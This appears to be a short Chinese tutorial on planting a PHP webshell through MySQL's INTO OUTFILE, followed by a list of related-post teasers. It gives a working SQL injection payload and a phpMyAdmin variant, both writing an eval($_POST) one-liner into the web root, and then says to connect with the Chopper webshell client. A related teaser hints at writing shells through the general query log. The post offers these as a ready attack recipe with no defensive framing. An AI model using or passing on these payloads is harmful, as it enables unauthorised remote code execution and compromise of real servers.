sql语句利用into outfile写入一句话

利用需要的条件有：

1、对web目录需要有写权限能够使用单引号

2、知道绝对路径

3、没有配置-secure-file-priv

当知道路径时，可以直接用?id=1 union select "<?php @eval($_POST['123']);?>" into outfile("C:/phpStudy/WWW/a.php")
或者采用PHPmyadmin，选择一个数据库如test，在数据库中新创建一个表aa，在aa中插入一个数据<?php @eval($_POST['123']);?>，然后用select * from aa into outfile 'C:/phpStudy/WWW/a.php'; --将aaa中的数据导出到文件a.php

语句执行成功后利用菜刀进行连接

sql语句利用into outfile写入一句话相关推荐

SQL语句利用日志写shell
outfile被禁止,或者写入文件被拦截: 在数据库中操作如下:(必须是root权限) show variables like '%general%'; #查看配置 set global genera ...
数据库创建(利用写好的数据库表生成创建表的sql语句+利用生成的数据库创建表加同步数据sql)
一.利用写好的数据库表生成创建表的sql语句 1.简单创建一个数据库,并建一个表,并编辑数据. a.建库 b.建表 c.编辑表,保存时输入表名 d.刷新一下,出来了 e.转存导出sql文件. 二.利用 ...
python写sql语句_python3将变量写入SQL语句的实现方式
试了一下python操作数据库,准备将前端传回来的用户名和密码写入表中试了半天不会把变量加在在sql语句里面网上搜索了一下,要用元组来传递多个参数sql = "insert into u ...
php面试专题---MySQL常用SQL语句优化
php面试专题---MySQL常用SQL语句优化一.总结一句话总结: 原理,万变不离其宗:其实SQL语句优化的过程中,无非就是对mysql的执行计划理解,以及B+树索引的理解,其实只要我们理解执行 ...
Oracle中如何查找未使用绑定变量的SQL语句？
Oracle中如何查找未使用绑定变量的SQL语句? 利用V$SQL 视图的 FORCE_MATCHING_SIGNATURE 字段可以识别可能从绑定变量或 CURSOR_SHARING 获益的 SQL ...
oracle bcp out,SQL Server利用bcp命令把SQL语句结果生成文本文件
这篇文章主要为大家详细介绍了SQL Server利用bcp命令把SQL语句结果生成文本文件,具有一定的参考价值,可以用来参考一下. 感兴趣的小伙伴,下面一起跟随512笔记的小编两巴掌来看看吧!在SQL ...
利用SQL语句在SQLite数据库中实现命令执行
SQLite是世界上使用最多的数据库之一.然而,关于其安全方面的研究,都只涉及WebSQL和浏览器开发方面.我们相信这只是SQLite安全的冰山一角. 在对SQLite安全性的长期研究中,我们尝试在任 ...
渗透之——SQL语句生成一句话
转载请注明出处:https://blog.csdn.net/l1028386804/article/details/85296880 1.SQLServer执行SQL语句生成一句话 select '& ...
利用Attribute特性简化多查询条件拼接sql语句的麻烦
最近公司在做武汉公交信息化管理系统,做这种管理项目,最让人痛苦的就是表单的添加.修改.查询.添加.修改在我以前的文章中提到过,利用反射机制可以做到基本不写代码来完成.参见<ORM框架实现数据的自 ...

sql语句利用into outfile写入一句话

sql语句利用into outfile写入一句话相关推荐

最新文章

热门文章